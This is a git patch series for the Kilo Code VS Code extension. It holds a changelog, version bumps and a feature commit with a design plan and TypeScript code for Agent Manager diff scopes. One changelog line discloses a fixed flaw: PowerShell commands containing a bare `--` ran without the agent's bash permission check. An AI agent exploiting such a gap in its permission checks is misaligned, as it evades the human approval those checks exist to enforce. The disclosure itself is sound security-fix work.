diagram source instead of fenced Markdown. + +- [#12585](https://github.com/Kilo-Org/kilocode/pull/12585) [`a0a760e`](https://github.com/Kilo-Org/kilocode/commit/a0a760e00e915a800125f03db7e08381ddc63e2a) - Fix bash permission rules being bypassed on PowerShell for commands containing a bare `--` such as `git checkout -- `. Commands the shell parser cannot parse now get checked against their raw command text instead of executing without a permission check. + +- [#12505](https://github.com/Kilo-Org/kilocode/pull/12505) [`bcf8b8b`](https://github.com/Kilo-Org/kilocode/commit/bcf8b8b9a852969ee842783e33a7fe32f9b3c3b8) - Emit each agent event once from `kilo run --format json`. + +- [#12593](https://github.com/Kilo-Org/kilocode/pull/12593) [`160b066`](https://github.com/Kilo-Org/kilocode/commit/160b06661acc5f04b21221ab6578c468325f64c5) - Prevent the VS Code backend from eagerly starting native file watchers for every Agent Manager worktree. + +- [#12583](https://github.com/Kilo-Org/kilocode/pull/12583) [`1310c12`](https://github.com/Kilo-Org/kilocode/commit/1310c1200ab613b316f27fe4fd59e23e262df02f) Thanks [@noobezlol](https://github.com/noobezlol)! - Keep Windows snapshot diffs parseable and preserve valid files when a stored patch is malformed. + +- [#12588](https://github.com/Kilo-Org/kilocode/pull/12588) [`deddf00`](https://github.com/Kilo-Org/kilocode/commit/deddf0012fe36c5bb8072f4378abd444fbd134fe) - Bound the wait for a provider's first response byte by the request timeout. A provider that accepts a request and returns headers but never sends body data now fails and retries instead of leaving the turn hanging after a tool call completes. The same `timeout` value now covers both the connection phase and the wait for the first byte as a single deadline; streaming responses that have already produced data are unaffected. + +- [#12514](https://github.com/Kilo-Org/kilocode/pull/12514) [`a33493e`](https://github.com/Kilo-Org/kilocode/commit/a33493e7222857a5c9f5e2c09a17312781567b3f) - Stabilize cross-platform CLI subprocess tests under constrained CI runners + +- [#12639](https://github.com/Kilo-Org/kilocode/pull/12639) [`8a47d8b`](https://github.com/Kilo-Org/kilocode/commit/8a47d8b78885fa8fd14c73b3aecdb57e1fc96c9c) - Stop flashing a "Turn interrupted" warning when a follow-up message is queued while the assistant is still working. The running turn now closes with a dedicated "superseded" reason instead of "interrupted" when it hands off to the queued prompt, so the premature-stop warning only appears for real interruptions. + ## 7.4.16 ### Minor Changes diff --git a/packages/opencode/package.json b/packages/opencode/package.json index ba63712656..e05ad63b16 100644 --- a/packages/opencode/package.json +++ b/packages/opencode/package.json @@ -1,6 +1,6 @@ { "$schema": "https://json.schemastore.org/package.json", - "version": "7.4.16", + "version": "7.4.17", "name": "@kilocode/cli", "type": "module", "license": "MIT", diff --git a/packages/plugin-atomic-chat/package.json b/packages/plugin-atomic-chat/package.json index e3ee0bab74..2409e9af79 100644 --- a/packages/plugin-atomic-chat/package.json +++ b/packages/plugin-atomic-chat/package.json @@ -1,7 +1,7 @@ { "$schema": "https://json.schemastore.org/package.json", "name": "@kilocode/plugin-atomic-chat", - "version": "7.4.16", + "version": "7.4.17", "description": "Kilo Code plugin for Atomic Chat: auto-detection and dynamic model discovery (OpenAI-compatible local API)", "type": "module", "license": "MIT", diff --git a/packages/plugin/package.json b/packages/plugin/package.json index f68b8ce481..455be0c020 100644 --- a/packages/plugin/package.json +++ b/packages/plugin/package.json @@ -1,7 +1,7 @@ { "$schema": "https://json.schemastore.org/package.json", "name": "@kilocode/plugin", - "version": "7.4.16", + "version": "7.4.17", "type": "module", "license": "MIT", "scripts": { diff --git a/packages/script/package.json b/packages/script/package.json index 879b34567f..a4b2c4545b 100644 --- a/packages/script/package.json +++ b/packages/script/package.json @@ -12,6 +12,6 @@ "exports": { ".": "./src/index.ts" }, - "version": "7.4.16", + "version": "7.4.17", "peerDependencies": {} } diff --git a/packages/sdk/js/package.json b/packages/sdk/js/package.json index 8988da2029..4446c5f1de 100644 --- a/packages/sdk/js/package.json +++ b/packages/sdk/js/package.json @@ -1,7 +1,7 @@ { "$schema": "https://json.schemastore.org/package.json", "name": "@kilocode/sdk", - "version": "7.4.16", + "version": "7.4.17", "type": "module", "license": "MIT", "scripts": { diff --git a/packages/server/package.json b/packages/server/package.json index 7458002a84..1dc884c72e 100644 --- a/packages/server/package.json +++ b/packages/server/package.json @@ -1,7 +1,7 @@ { "$schema": "https://json.schemastore.org/package.json", "name": "@opencode-ai/server", - "version": "7.4.16", + "version": "7.4.17", "private": true, "type": "module", "license": "MIT", diff --git a/packages/storybook/package.json b/packages/storybook/package.json index 22fe404a5f..163306ec46 100644 --- a/packages/storybook/package.json +++ b/packages/storybook/package.json @@ -26,7 +26,7 @@ "typescript": "catalog:", "vite": "catalog:" }, - "version": "7.4.16", + "version": "7.4.17", "dependencies": {}, "peerDependencies": {} } diff --git a/packages/tui/package.json b/packages/tui/package.json index 344179e4d0..87fe7949af 100644 --- a/packages/tui/package.json +++ b/packages/tui/package.json @@ -1,7 +1,7 @@ { "$schema": "https://json.schemastore.org/package.json", "name": "@opencode-ai/tui", - "version": "7.4.16", + "version": "7.4.17", "private": true, "type": "module", "license": "MIT", diff --git a/packages/ui/package.json b/packages/ui/package.json index d5b27305ac..bb4a10d842 100644 --- a/packages/ui/package.json +++ b/packages/ui/package.json @@ -1,6 +1,6 @@ { "name": "@opencode-ai/ui", - "version": "7.4.16", + "version": "7.4.17", "type": "module", "license": "MIT", "exports": { diff --git a/script/upstream/package.json b/script/upstream/package.json index 254cd0b36e..753ce3fa52 100644 --- a/script/upstream/package.json +++ b/script/upstream/package.json @@ -1,6 +1,6 @@ { "name": "@kilocode/upstream-merge", - "version": "7.4.16", + "version": "7.4.17", "private": true, "type": "module", "description": "Scripts for automating upstream opencode merges into Kilo", From 3ab1122e0fbbff5c6821acb21df7d3d93f52955f Mon Sep 17 00:00:00 2001 From: marius-kilocode Date: Wed, 29 Jul 2026 14:01:00 +0200 Subject: [PATCH 039/100] feat(agent-manager): add diff scope selector and base branch picker --- .../agent-manager-diff-scope-selector.md | 5 + ...00000-agent-manager-diff-scope-selector.md | 339 ++++++++++++++++++ .../src/agent-manager/AgentManagerProvider.ts | 44 ++- .../src/agent-manager/diff-scope.ts | 57 +++ .../kilo-vscode/src/agent-manager/types.ts | 32 ++ .../agent-manager/worktree-diff-controller.ts | 193 +++++----- .../kilo-vscode/src/diff/sources/catalog.ts | 13 +- .../kilo-vscode/src/diff/sources/staged.ts | 38 +- .../kilo-vscode/src/diff/sources/unstaged.ts | 38 +- .../kilo-vscode/src/diff/sources/worktree.ts | 61 +++- packages/kilo-vscode/src/diff/types.ts | 21 ++ .../tests/unit/agent-manager-arch.test.ts | 4 +- .../kilo-vscode/tests/unit/diff-scope.test.ts | 52 +++ .../agent-manager/AgentManagerApp.tsx | 171 ++++----- .../webview-ui/agent-manager/DiffPanel.tsx | 11 +- .../agent-manager/agent-manager.css | 9 + .../webview-ui/agent-manager/diff-messages.ts | 74 ++++ .../agent-manager/diff-review-scope.ts | 120 +++++++ .../agent-manager/diff-scope-state.ts | 91 +++++ .../webview-ui/agent-manager/i18n/ar.ts | 1 + .../webview-ui/agent-manager/i18n/br.ts | 1 + .../webview-ui/agent-manager/i18n/bs.ts | 1 + .../webview-ui/agent-manager/i18n/da.ts | 1 + .../webview-ui/agent-manager/i18n/de.ts | 1 + .../webview-ui/agent-manager/i18n/en.ts | 1 + .../webview-ui/agent-manager/i18n/es.ts | 1 + .../webview-ui/agent-manager/i18n/fr.ts | 1 + .../webview-ui/agent-manager/i18n/it.ts | 1 + .../webview-ui/agent-manager/i18n/ja.ts | 1 + .../webview-ui/agent-manager/i18n/ko.ts | 1 + .../webview-ui/agent-manager/i18n/nl.ts | 1 + .../webview-ui/agent-manager/i18n/no.ts | 1 + .../webview-ui/agent-manager/i18n/pl.ts | 1 + .../webview-ui/agent-manager/i18n/ru.ts | 1 + .../webview-ui/agent-manager/i18n/th.ts | 1 + .../webview-ui/agent-manager/i18n/tr.ts | 1 + .../webview-ui/agent-manager/i18n/uk.ts | 1 + .../webview-ui/agent-manager/i18n/zh.ts | 1 + .../webview-ui/agent-manager/i18n/zht.ts | 1 + .../webview-ui/agent-manager/revert-file.ts | 17 +- .../diff-viewer/DiffScopeControls.tsx | 55 +++ .../diff-viewer/FullScreenDiffView.tsx | 5 +- .../src/types/messages/extension-messages.ts | 13 + .../src/types/messages/webview-messages.ts | 21 ++ 44 files changed, 1287 insertions(+), 217 deletions(-) create mode 100644 .changeset/agent-manager-diff-scope-selector.md create mode 100644 .kilo/plans/1784100000000-agent-manager-diff-scope-selector.md create mode 100644 packages/kilo-vscode/src/agent-manager/diff-scope.ts create mode 100644 packages/kilo-vscode/tests/unit/diff-scope.test.ts create mode 100644 packages/kilo-vscode/webview-ui/agent-manager/diff-messages.ts create mode 100644 packages/kilo-vscode/webview-ui/agent-manager/diff-review-scope.ts create mode 100644 packages/kilo-vscode/webview-ui/agent-manager/diff-scope-state.ts create mode 100644 packages/kilo-vscode/webview-ui/diff-viewer/DiffScopeControls.tsx diff --git a/.changeset/agent-manager-diff-scope-selector.md b/.changeset/agent-manager-diff-scope-selector.md new file mode 100644 index 0000000000..341e5ee768 --- /dev/null +++ b/.changeset/agent-manager-diff-scope-selector.md @@ -0,0 +1,5 @@ +--- +"kilo-code": minor +--- + +Add a scope selector and base branch picker to the Agent Manager diff review. The side panel and full-screen review now let you switch between Branch, Staged, Unstaged, and Session scopes for the selected worktree, and the Branch scope's base branch can be overridden from a picker next to it. Branch stays the default, so existing review behavior is unchanged. diff --git a/.kilo/plans/1784100000000-agent-manager-diff-scope-selector.md b/.kilo/plans/1784100000000-agent-manager-diff-scope-selector.md new file mode 100644 index 0000000000..f827a2c341 --- /dev/null +++ b/.kilo/plans/1784100000000-agent-manager-diff-scope-selector.md @@ -0,0 +1,339 @@ +# Bring the Changes scope selector and base branch picker into Agent Manager + +## Goal + +The standalone **Changes** editor panel has a scope selector (`GIT: Branch / Staged / Unstaged`, +`SESSION: Session`) plus a base branch picker (`main → origin/main [Default]`). Agent Manager has +two diff surfaces (compact side panel and full-screen review tab) with **no scope selector and no +base picker**: it always shows one fixed scope against one fixed base. + +Make both Agent Manager surfaces scope-aware and base-aware, reusing the existing components and +extension-side sources rather than duplicating them. + +## What exists today + +### Standalone Changes panel + +| Concern | Where | +|---|---| +| Panel host, ephemeral base override | `src/diff/DiffViewerProvider.ts:26-33`, `:101-119`, `:170-182` | +| Source enumeration and construction | `src/diff/sources/catalog.ts:73-115` | +| Scope select | `webview-ui/diff-viewer/DiffPickerHeader.tsx:50-86` | +| Base picker | `webview-ui/diff-viewer/BaseBranchPicker.tsx:77-142` | +| Branch list + auto base + HEAD | `src/diff/sources/catalog.ts:117-138` | +| Renderer | `webview-ui/diff-viewer/FullScreenDiffView.tsx:95` | + +Sources: `worktree.ts` (Branch), `staged.ts`, `unstaged.ts`, `session.ts`, `turn.ts`. Polling, +dedupe, and lazy per-file detail live in `src/diff/SourceController.ts`. + +### Agent Manager + +| Concern | Where | +|---|---| +| Diff controller (wraps the same `SourceController`) | `src/agent-manager/worktree-diff-controller.ts:35-80` | +| Synthetic single source, hardcoded capabilities | `src/agent-manager/worktree-diff-controller.ts:228-242` | +| Fixed base = `origin/` | `src/agent-manager/worktree-diff-controller.ts:217`, `WorktreeStateManager.ts:57-64` | +| `local` pseudo-context uses auto base | `src/agent-manager/worktree-diff-controller.ts:220-222` | +| Side panel | `webview-ui/agent-manager/DiffPanel.tsx:474-524` | +| Full-screen review (shared component) | `webview-ui/agent-manager/AgentManagerApp.tsx:3105-3131` | +| Data store keyed by session id | `webview-ui/agent-manager/AgentManagerApp.tsx:1675-1699` | + +So both systems already share `SourceController`, `local-diff.ts`, `GitOps`, `FullScreenDiffView`, +`FileTree`, `diff-state.ts`, `diff-requests.ts`. The gap is only the *selection* layer. + +## The architectural mismatch to resolve first + +The two systems key diff sources along orthogonal axes: + +- Standalone: keyed by **scope** (`workspace`, `staged`, `unstaged`, `session:`) inside one + fixed directory (`getWorkspaceRoot()`). +- Agent Manager: keyed by **context** (`sessionId` or `local`), which resolves to a directory and + base, with one fixed scope. + +Integration therefore needs a composite key `(context, scope)`: + +``` +ctx = "local" | "" +scope = "branch" | "staged" | "unstaged" | "session" +id = `${ctx}#${scope}` +``` + +`ctx#branch` is the default and reproduces today's behavior exactly. + +### Hard prerequisite: sources must accept an explicit directory + +Three sources resolve the workspace root themselves and cannot currently point at a worktree: + +- `src/diff/sources/worktree.ts:46`, `:60` +- `src/diff/sources/staged.ts:47` +- `src/diff/sources/unstaged.ts:53` +- `src/diff/sources/catalog.ts:118` (`listWorkspaceBranches`) + +`session.ts` is already directory-parameterized (`catalog.ts:111`), so Session scope is nearly free. + +Each source also constructs its own `GitOps` + `OutputChannel` (`worktree.ts:35-37`, +`staged.ts:43-45`). That is acceptable in the standalone panel where sources swap only on scope +change, but Agent Manager swaps sources on **every session selection**. Inject a `log` function and +reuse Agent Manager's shared `GitOps` (`AgentManagerProvider.ts:140-180`) instead of constructing +per source. + +## Is Branch still the right default per worktree? + +Yes, keep `Branch` as the default for every worktree context. Reasons, strongest first: + +1. **It matches what you ship.** Branch is `merge-base(HEAD, origin/) → current working + tree`: committed work, staged, unstaged, and untracked. That is exactly the payload + `Apply to local` builds (`GitOps.buildWorktreePatch`, used at + `worktree-diff-controller.ts:115`) and what a PR from that branch would contain. Reviewing the + same set you apply or push is the whole point of the review tab. +2. **No silent behavior change.** It is what Agent Manager does today, and the sidebar `Nf +N -N` + badge (`GitStatsPoller.ts:191-224`) uses the same base. A different default would make the + badge and the review disagree on first open. +3. **Stable under base movement.** merge-base semantics mean commits landing on `origin/main` + after the worktree branched do not pollute the diff. +4. **Session scope can be legitimately empty.** It depends on snapshots being enabled and degrades + to a `snapshots-disabled` notice (`sources/session.ts:33-66`). A default that can be empty for + configuration reasons is a bad default. + +One correction to the framing: Branch compares against the base **ref** (`origin/main`), not +against the local main checkout's working tree. If your local `main` has unpushed commits or dirty +files, the worktree diff does not account for them. "What changes if I apply this to my current +checkout" is a different question, answered today only by the `Apply to local` conflict check. A +`Local workspace` scope could answer it directly, but it is a non-goal here (see below). + +## What each scope means in Agent Manager + +| Scope | Worktree context | Local context | Value | +|---|---|---|---| +| Branch | `merge-base(HEAD, origin/)` to working tree | `merge-base(HEAD, auto base)` to working tree | Default. The reviewable/shippable set. | +| Staged | index vs `HEAD` inside the worktree | same, workspace root | "What did I stage for the next commit." Read-only. | +| Unstaged | working tree vs index, plus untracked | same | "What is not committed yet." Read-only. | +| Session | snapshot diff for the selected session, `directory = worktree.path` | selected local session | Highest new value: separates *this agent session's* edits from manual edits and setup-script output. | + +Two honest caveats to design around: + +- On a fresh worktree where the agent never commits (the common case), `Branch` ≈ `Staged` + + `Unstaged`, so the selector adds little until a commit exists. It is still worth shipping because + `Session` is valuable immediately and because committing agents are increasingly common. +- A worktree can hold several sessions. Expose only the **currently selected** session's Session + scope; a per-session submenu is a follow-up, not v1. + +## UI design + +### Full-screen review tab + +Put the controls at the head of the existing left toolbar group +(`FullScreenDiffView.tsx:542-571`), before the unified/split radio. Do **not** add a second row: +the standalone panel's separate header row should collapse into this same slot so both hosts render +one identical toolbar. + +``` ++-----------------------------------------------------------------------------------------------+ +| [Branch v] feat/foo -> origin/main [Default] | (Unified|Split) 12 files +340 -88 | | +| ^ scope ^ base picker ^ existing stats | +| Expand all Send 3 to chat [x] | ++-----------------------------------------------------------------------------------------------+ +| tree | diff | +``` + +### Compact side panel + +`DiffPanel`'s header (`DiffPanel.tsx:476-524`) already competes for width with the radio group, +stats, and three icon buttons in a resizable inspector. Add a **second compact row** under the +existing header rather than cramming one row: + +``` ++------------------------------------------+ +| Changes (Unified|Split) 12f +340 -88 | [expand] [fullscreen] [x] +| [Branch v] -> origin/main | ++------------------------------------------+ +``` + +Below a width threshold, drop the `-> origin/main` hint and keep only `[Branch v]`; the full base +picker stays reachable in the full-screen tab. The side panel must at least *display* the active +scope even when narrow, because scope state is shared with the review tab (single +`SourceController`) and an unexplained staged-only file list is confusing. + +### Dropdown + +Reuse `DiffPickerHeader` unchanged: it already renders grouped options with per-option tooltips +from `diffViewer.source..tooltip` (`webview-ui/src/i18n/en.ts:1235-1248`). + +``` ++--------------------------+ +| GIT | +| Branch | tooltip: all changes vs base, incl. local commits +| Staged | +| Unstaged | +| SESSION | +| Session | ++--------------------------+ +``` + +Deliberately **no per-scope file counts** in the dropdown. Counts would require polling every scope +continuously (four git pipelines per tick per worktree), which is not worth it. The Branch row's +"vs origin/main" context is already carried by the adjacent base picker. + +### UX traps to close + +- **Apply to local always applies Branch scope.** It builds its patch from + `remoteRef(worktree)` regardless of what the review shows. When the active scope is not `Branch`, + either label the button "Apply branch changes" or disable it with a tooltip explaining that apply + is branch-scoped. Otherwise users will read "Apply" as "apply what I am looking at". +- **Revert must follow source capabilities.** `staged` and `unstaged` declare + `capabilities.revert: false` (`staged.ts:29`, `unstaged.ts:29`). Agent Manager currently + hardcodes `{ revert: true, comments: true }` (`worktree-diff-controller.ts:233`). Send the real + descriptor capabilities and pass them into the already-existing `canRevert` / `canComment` props + (`FullScreenDiffView.tsx:88-91`). +- **Scope switch should not flash stale files.** Key the webview diff store by the composite key so + switching back to a previously fetched scope is instant and never renders another scope's files. + +## Base branch picker: semantics and the consistency problem + +In the standalone panel the base override is ephemeral and its `Default` means +"auto-resolved tracking or repo default" (`shared/target.ts:4-27`). In Agent Manager, `Default` +should mean **the worktree's recorded parent** (`origin/`), which is a deliberate +recorded value, not a guess. + +The real issue: as soon as a base override exists, the review toolbar and the sidebar badge can +disagree, because `GitStatsPoller` and `Apply to local` both derive from `remoteRef(worktree)`. + +Two coherent options: + +**A. View-local ephemeral override (cheap).** Mirrors the standalone panel. Zero risk to stats, +apply, and PR flows, but the sidebar badge will visibly disagree with the review toolbar the moment +the user overrides. Needs the review header to always show `vs ` so the difference is legible. + +**B. Persisted worktree base (recommended).** Treat the picker as editing the worktree's base: +persist `parentBranch` / `remote` (or a new `diffBase`) in `agent-manager.json` +(`WorktreeStateManager.ts:16-45`), and let stats, review, and apply all read the same value. This +keeps a single base per worktree with no divergence, and it fixes a real existing gap: today a +worktree's base cannot be changed after creation, so branching off the wrong base is unrecoverable +without recreating the worktree. + +Recommendation: ship **A** in the same phase as the scope selector to keep the diff small, then +promote to **B** as its own change, because B needs stats invalidation, apply, and PR paths updated +together and deserves isolated review. If B is chosen up front, do not also keep A: two competing +bases is worse than either. + +## Reuse plan + +The point of this work is to add zero new diff rendering code. + +### Reuse as-is + +- `DiffPickerHeader.tsx` (scope select, grouping, tooltips) +- `BaseBranchPicker.tsx` and `webview-ui/src/components/shared/BranchSelect.tsx` +- `FullScreenDiffView.tsx`, `FileTree.tsx`, `VirtualDiffList.tsx`, `diff-state.ts`, + `diff-requests.ts`, `diff-open-policy.ts` +- `SourceController.ts`, `sources/session.ts`, `local-diff.ts`, `GitOps.ts` +- All `diffViewer.source.*` and `diffViewer.baseBranch.*` i18n keys, already translated + +### New shared pieces (small) + +1. `webview-ui/diff-viewer/DiffScopeControls.tsx` - composes `DiffPickerHeader` + + `BaseBranchPicker`, plus a `compact` flag for the side panel. Consumed by three hosts: + standalone `DiffViewerApp`, Agent Manager review tab, Agent Manager side panel. +2. A leading toolbar slot prop on both renderers: `FullScreenDiffView` (`lead?: JSXElement`, + rendered first inside `am-review-toolbar-left`) and `DiffPanel` (second header row). Once + `FullScreenDiffView` has the slot, move the standalone panel's separate header row into it so + both hosts share one layout. +3. `webview-ui/agent-manager/diff-scope-state.ts` - composite key helpers and per-context scope + signal. Keep this out of `AgentManagerApp.tsx` (already 3191 lines). + +### Extension side + +4. Generalize `PanelContext` so `workspaceRoot` is the resolved diff directory, and make + `DiffSourceCatalog` build sources for that directory. `SourceController.setContext` is already + called by Agent Manager (`worktree-diff-controller.ts:79`, `:188`), so the plumbing exists. +5. `WorktreeDiffController.source()` delegates to `DiffSourceCatalog` instead of returning its + bespoke descriptor. This deletes Agent Manager's synthetic source and gets staged, unstaged, and + session scopes for free. +6. `src/agent-manager/diff-scope.ts` (new, vscode-free): composite id parse/format, scope to source + id mapping, capability lookup. `worktree-diff-controller.ts` is already 332 lines and + `tests/unit/agent-manager-arch.test.ts` enforces `maxLines` caps that must not be raised. + +## Message and state changes + +Inbound (webview to extension), all additive and optional so existing callers keep working: + +| Message | Change | +|---|---| +| `agentManager.requestWorktreeDiff` | add `scope?` | +| `agentManager.startDiffWatch` | add `scope?` | +| `agentManager.requestWorktreeDiffFile` | add `scope?` | +| `agentManager.revertWorktreeFile` | add `scope?` | +| `agentManager.requestDiffBranches` | new, `{ sessionId }` | +| `agentManager.setDiffBaseBranch` | new, `{ sessionId, branch? }` where `undefined` clears | + +No separate "set scope" message: a scope switch is a re-activation via `startDiffWatch` / +`requestWorktreeDiff` with the new scope. + +Outbound: `worktreeDiff`, `worktreeDiffLoading`, `worktreeDiffFile`, `revertWorktreeFileResult` +gain `scope` and the source `capabilities`; new `agentManager.diffBranches` reuses the existing +`WorkspaceBranchesResult` shape (`sources/catalog.ts:22-33`). + +Webview state: `diffDatas` and `diffFileLoading` re-key from `sessionId` to `${ctx}#${scope}`; +`diffSessionKey()` (`AgentManagerApp.tsx:1694-1699`) appends the scope so accordion open state +resets per scope. + +Known breakage to fix during the refactor: `shouldStopForWorktree` passes +`this.controller.currentId` into `shouldStopDiffPolling`, which compares it against orphaned +session ids (`delete-worktree.ts:11-20`). Pass the parsed context id, not the composite id. + +Target resolution ordering: today `ensureTarget` resolves lazily inside `fetch()`. With the catalog +owning source construction, the directory and base must be resolved *before* +`controller.activate()`. `activate` is already awaited by `request` and `start`, so awaiting +`ready()` plus target resolution first is safe, but this is the main refactor risk in the change. + +## Phasing + +1. **Parameterize sources by directory.** Add explicit `dir` / injected `log` / shared `GitOps` to + `worktree.ts`, `staged.ts`, `unstaged.ts`, and `listWorkspaceBranches`. No user-visible change; + standalone panel keeps passing the workspace root. Verify the standalone panel is unaffected. +2. **Composite keying and catalog delegation.** `diff-scope.ts`, controller delegates to the + catalog, messages gain `scope` and `capabilities`, webview re-keys. Still one scope exposed, so + still no visible change. This is the risky phase and should land on its own. +3. **Scope selector UI.** `DiffScopeControls`, toolbar slots in both hosts, standalone header moved + into the shared slot, `canRevert` / `canComment` wired from capabilities, Apply-scope guard. +4. **Base picker in Agent Manager.** `requestDiffBranches` / `setDiffBaseBranch`, ephemeral + override (option A), `Default` labeled as the worktree's recorded parent. +5. **Optional follow-up.** Promote the override to a persisted worktree base (option B) shared with + stats, apply, and PR. + +## Verification + +- `packages/kilo-vscode/`: `bun run typecheck`, `bun run lint`, `bun run test:unit`, `bun run knip` + (new exports must be imported somewhere). +- New unit tests: scope to source id mapping, composite id parse/format, base override resolution + for a worktree directory, and `shouldStopDiffPolling` with composite ids. Existing coverage to + keep green: `tests/unit/local-diff.test.ts`, `tests/unit/agent-manager-arch.test.ts`. +- Visual regression stories for the toolbar in both hosts, per the `vscode-visual-regression` + skill. +- Manual (self-test instance): worktree with a commit plus dirty files, switch Branch / Staged / + Unstaged / Session, confirm counts differ correctly, revert hidden in read-only scopes, side + panel and review tab stay in sync, base override changes the file set, and switching worktrees + resets to Branch. +- Changeset required (user-facing feature). + +## Non-goals + +- A `Local workspace` scope comparing a worktree against the local checkout's working tree. Useful, + but it needs a tree-to-tree diff path that does not exist in `local-diff.ts` and it overlaps with + the `Apply to local` conflict check. +- Per-session Session scope submenu when a worktree holds multiple sessions. +- Turn scope inside Agent Manager. Per-turn changes already open the standalone panel from the + transcript (`VscodeSessionTurn.tsx:179-200`). +- Per-scope file counts in the dropdown. +- Merging the standalone Changes panel into Agent Manager. Phase 3 makes them converge visually; + actually collapsing the two hosts is a separate decision. + +## Open questions + +1. Option A or B for the base picker (view-local override vs persisted worktree base). B is the + better end state; A is the smaller step. +2. Should the scope persist per worktree in `agent-manager.json` alongside `reviewDiffStyle`, or + always reset to Branch on selection change? Resetting is more predictable; persisting is less + repetitive for someone who lives in Session scope. +3. Should the side panel's scope control be interactive or display-only, given how little width it + has? diff --git a/packages/kilo-vscode/src/agent-manager/AgentManagerProvider.ts b/packages/kilo-vscode/src/agent-manager/AgentManagerProvider.ts index bf72af74ab..2556bd391d 100644 --- a/packages/kilo-vscode/src/agent-manager/AgentManagerProvider.ts +++ b/packages/kilo-vscode/src/agent-manager/AgentManagerProvider.ts @@ -4,10 +4,12 @@ import type { KiloClient, Session } from "@kilocode/sdk/v2/client" import type { KiloConnectionService } from "../services/cli-backend" import { getErrorMessage } from "../kilo-provider-utils" import { resolveLocalDiffTarget } from "../diff/shared/target" +import { DiffSourceCatalog } from "../diff/sources/catalog" import { getDiffMarkdownRender, setDiffMarkdownRender } from "../review-settings" import { isAbsolutePath } from "../path-utils" import { WorktreeManager, type CreateWorktreeResult } from "./WorktreeManager" import { remoteRef, WorktreeStateManager, type Worktree } from "./WorktreeStateManager" +import { composeDiffId, normalizeScope } from "./diff-scope" import { handleSection } from "./section-handler" import { normalizeBaseBranch } from "./base-branch" import { GitStatsPoller, type LocalStats, type WorktreePresenceResult, type WorktreeStats } from "./GitStatsPoller" @@ -71,6 +73,7 @@ export class AgentManagerProvider implements Disposable { private orchestration: AgentManagerOrchestrationBridge private gitOps: GitOps private diffs: WorktreeDiffController + private diffCatalog: DiffSourceCatalog private naming: BranchNamingController private staleWorktreeIds = new Set() private toolRequests = new Set() @@ -148,12 +151,13 @@ export class AgentManagerProvider implements Disposable { log: (msg) => this.log(msg), }) const local = createLocalDiff(this.gitOps, (...args) => this.log(...args)) + this.diffCatalog = new DiffSourceCatalog(this.connectionService) this.diffs = new WorktreeDiffController({ getState: () => this.getStateManager(), getRoot: () => this.getRoot(), getStateReady: () => this.stateReady, + catalog: this.diffCatalog, git: this.gitOps, - localDiff: local.summary, localDiffFile: local.file, post: (msg) => this.postToWebview(msg), log: (...args) => this.log(...args), @@ -679,11 +683,11 @@ export class AgentManagerProvider implements Disposable { private onDiffMessage(m: AgentManagerInMessage): Record | null | undefined { if (m.type === "agentManager.requestWorktreeDiff") { - void this.diffs.request(m.sessionId) + void this.diffs.request(composeDiffId(m.sessionId, normalizeScope(m.scope))) return null } if (m.type === "agentManager.requestWorktreeDiffFile") { - void this.diffs.requestFile(m.sessionId, m.file) + void this.diffs.requestFile(composeDiffId(m.sessionId, normalizeScope(m.scope)), m.file) return null } if (m.type === "agentManager.applyWorktreeDiff") { @@ -691,23 +695,52 @@ export class AgentManagerProvider implements Disposable { return null } if (m.type === "agentManager.revertWorktreeFile") { - void this.diffs.revert(m.sessionId, m.file) + void this.diffs.revert(composeDiffId(m.sessionId, normalizeScope(m.scope)), m.file) return null } if (m.type === "agentManager.startDiffWatch") { - this.diffs.start(m.sessionId) + this.diffs.start(composeDiffId(m.sessionId, normalizeScope(m.scope))) return null } if (m.type === "agentManager.stopDiffWatch") { this.diffs.stop() return null } + if (m.type === "agentManager.requestDiffBranches") { + void this.sendDiffBranches(m.sessionId, m.scope) + return null + } + if (m.type === "agentManager.setDiffBaseBranch") { + void this.diffs.setBase(composeDiffId(m.sessionId, normalizeScope(m.scope)), m.branch).then(() => { + void this.sendDiffBranches(m.sessionId, m.scope) + }) + return null + } if (m.type === "agentManager.openFile") { this.openWorktreeFile(m.sessionId, m.filePath, m.line, m.column) return null } } + private async sendDiffBranches(sessionId: string, scope?: string): Promise { + const id = composeDiffId(sessionId, normalizeScope(scope)) + const result = await this.diffs.branches(id).catch((err) => { + this.log("Failed to list diff branches:", err instanceof Error ? err.message : String(err)) + return undefined + }) + if (!result) return + this.postToWebview({ + type: "agentManager.diffBranches", + sessionId: id, + branches: result.branches, + defaultBranch: result.defaultBranch, + autoBase: result.autoBase, + currentBase: result.currentBase, + isAuto: result.isAuto, + currentBranch: result.currentBranch, + }) + } + private onBridgeMessage(m: AgentManagerInMessage): Record | null | undefined { if (m.type !== "openFile") return undefined @@ -1914,6 +1947,7 @@ export class AgentManagerProvider implements Disposable { this.orchestration.dispose() this.visiblePresence.clear() this.diffs.stop() + this.diffCatalog.dispose() this.naming.dispose() this.statsPoller.stop() this.gitOps.dispose() diff --git a/packages/kilo-vscode/src/agent-manager/diff-scope.ts b/packages/kilo-vscode/src/agent-manager/diff-scope.ts new file mode 100644 index 0000000000..21d2e00793 --- /dev/null +++ b/packages/kilo-vscode/src/agent-manager/diff-scope.ts @@ -0,0 +1,57 @@ +/** + * Composite diff-source keying for Agent Manager. + * + * Agent Manager keys diff sources by *context* (a session id, or the `local` + * workspace pseudo-context) while the standalone Changes viewer keys by + * *scope* (branch / staged / unstaged / session). To expose scopes in Agent + * Manager we compose the two into a single id the SourceController can build. + * + * ctx = "local" | "" + * scope = "branch" | "staged" | "unstaged" | "session" + * id = `${ctx}#${scope}` + * + * `ctx#branch` is the default and reproduces the pre-scope behavior exactly. + */ + +export type DiffScope = "branch" | "staged" | "unstaged" | "session" + +export const DEFAULT_DIFF_SCOPE: DiffScope = "branch" + +const SEP = "#" + +export function composeDiffId(ctx: string, scope: DiffScope): string { + return `${ctx}${SEP}${scope}` +} + +/** + * Split a composite id back into context and scope. Tolerates a bare context + * id (no separator) by assuming the default branch scope, which keeps the + * pre-scope messages working unchanged. + */ +export function parseDiffId(id: string): { ctx: string; scope: DiffScope } { + const idx = id.lastIndexOf(SEP) + if (idx === -1) return { ctx: id, scope: DEFAULT_DIFF_SCOPE } + const scope = id.slice(idx + SEP.length) + if (isDiffScope(scope)) return { ctx: id.slice(0, idx), scope } + return { ctx: id, scope: DEFAULT_DIFF_SCOPE } +} + +export function isDiffScope(value: string): value is DiffScope { + return value === "branch" || value === "staged" || value === "unstaged" || value === "session" +} + +export function normalizeScope(value: unknown): DiffScope { + return typeof value === "string" && isDiffScope(value) ? value : DEFAULT_DIFF_SCOPE +} + +/** + * Map a scope to the underlying standalone-viewer source id the catalog 